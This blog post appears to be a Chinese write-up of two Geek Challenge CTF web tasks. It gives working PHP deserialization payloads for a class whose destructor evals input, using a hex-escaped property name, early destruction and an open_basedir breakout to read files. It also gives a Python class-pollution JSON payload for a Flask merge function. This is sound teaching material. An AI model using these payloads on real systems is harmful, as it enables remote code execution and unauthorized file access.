极客大挑战

ez_remove

 <?php
highlight_file(__FILE__);
class syc{
    public $lover;
    public function __destruct()
    {
        eval($this->lover);
    }
}

if(isset($_GET['web'])){
    if(!preg_match('/lover/i',$_GET['web'])){
        $a=unserialize($_GET['web']);
        throw new Error("快来玩快来玩~");
    }
    else{
        echo("nonono");
    }
}
?> 

 考点:这道题首先对于类中的属性进行过滤,这里可以用16进制进行绕过。

再就是GC回收机制,最后是open_basedir绕过(参考链接:https://blog.csdn.net/unexpectedthing/article/details/125577789)

首先我们绕过对于属性的过滤以及GC回收机制

<?php
class syc{
    public $lover;
    }
$a=new syc();
$a->lover="phpinfo();";
$n=null;
$b=array($a,$n);
echo (serialize($b));
?>

得到:a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:10:"phpinfo();";}i:1;N;}

然后我们进行16进制绕过类中属性的检测以及GC回收机制(GC回收机制具体操作可以看我之前一篇文章)

修改后:a:2:{i:0;O:3:"syc":1:{S:5:"\6Cover";s:10:"phpinfo();";}i:0;N;}

 

 可以看到禁用好多命令执行的函数,并且用open_basedir限定到了当前目录,所以说我们要进行绕过open_basedir来获得flag

 

<?php
class syc{
    public $lover;
    }
$a=new syc();
$a->lover='$a=new FilesystemIterator(\'glob:///f*\');foreach($a as $d){echo $d->__toString()."";}';
$n=null;
$b=array($a,$n);
echo (serialize($b));
?>

 

得到:a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:84:"$a=new FilesystemIterator('glob:///f*');foreach($a as $d){echo $d->__toString()."";}";}i:1;N;}

修改后:a:2:{i:0;O:3:"syc":1:{S:5:"\6Cover";s:84:"$a=new FilesystemIterator('glob:///f*');foreach($a as $d){echo $d->__toString()."";}";}i:;N;}

 

 可以看到找了的flag

然后读取flag

<?php
class syc{
    public $lover;
    }
$a=new syc();
$a->lover="mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/f1ger');";
$n=null;
$b=array($a,$n);
echo (serialize($b));
?>

得到 a:2:{i:0;O:3:"syc":1:{s:5:"lover";s:166:"mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/f1ger');";}i:1;N;}

修改后:a:2:{i:0;O:3:"syc":1:{S:5:"\6Cover";s:166:"mkdir('flag');chdir('flag');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/f1ger');";}i:0;N;}

传入修改后的payload就可以获得flag

 ezpython

考点:python原型链污染

参考链接:https://tttang.com/archive/1876/

下载附件:

import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
    def __init__(self):
        self.username=""
        self.password=""
        self.isvip=False


class hhh(User):
    def __init__(self):
        self.username=""
        self.password=""

registered_users=[]
@app.route('/')
def hello_world():  # put application's code here
    return render_template("welcome.html")

@app.route('/play')
def play():
    username=session.get('username')
    if username:
        return render_template('index.html',name=username)
    else:
        return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username=request.form.get('username')
        password=request.form.get('password')
        user = next((user for user in registered_users if user.username == username and user.password == password), None)
        if user:
            session['username'] = user.username
            session['password']=user.password
            return redirect(url_for('play'))
        else:
            return "Invalid login"
        return redirect(url_for('play'))
    return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
    if request.method == 'POST':
        try:
            if waf(request.data):
                return "fuck payload!Hacker!!!"
            data=json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "连用户名密码都没有你注册啥呢"
            user=hhh()
            merge(data,user)
            registered_users.append(user)
        except Exception as e:
            return "泰酷辣,没有注册成功捏"
        return redirect(url_for('login'))
    else:
        return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
    user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)
    if user:
        if user.isvip:
            data=request.args.get('num')
            if data:
                if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
                        flag = os.environ.get('geek_flag')
                        return render_template('flag.html',flag=flag)
                else:
                    return "你的数字不对哦!"
            else:
                return "I need a num!!!"
        else:
            return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
    else:
        return "先登录去"

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



if __name__ == '__main__':
    app.run(host="0.0.0.0",port="8888")

flag路由:

 可以看到对于user进行了验证,如果isvip为真的时候就进行一个get请求,然后进行下一步操作

register路由:

 看到如果注册成功的话,实例化了hhh()类

接着往下看:

 看到类User为类hhh的父类,并且hhh类没有isvip这个属性,这也就是为什么如果你直接在/register注册完用户后再进行登陆,最后访问/flag路由的话页面会返回500,因为hhh类中没有isvip属性,所以当你注册完成登陆之后访问/flag路由的话是无法判断if user.isvip的,所以此时会报一个500的错误。

这里的话需要明白一个知识点:就是进行原型链污染的话可以对于类的属性值进行污染,这里的话如果进行污染,是会在当前类创造出一个属性

例:

class father:
    secret = "haha"

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()
payload = {
  "secret":"1",
  "username":"kode"
}

print(instance.secret)
#haha
merge(payload, instance)
print(instance.secret)
#1
print(instance.username)
#kode

看这串代码,如果我们没有进行污染的话实例化son_b类后其实是没有username这个属性的,但是我们污染之后,可以看到username属性从无到有,并且可以篡改他的属性值。

 这个就是我们污染后的结果

因此,这道题的话,我们可以进行污染,然后使得实例化后的hhh类有isvip这个属性这样我们就能进行下一步操作

在/register路由post传入:

{"username":"22","password":"22",
"\u0069\u0073\u0076\u0069\u0070":"1"
}

 然后登陆并且访问/flag路由,

 接着get传入?num=123456789便可以获得flag。(这里的数字是全角进行绕过)

posted @ 2023-11-29 21:05  kode  阅读(36)  评论(0编辑  收藏  举报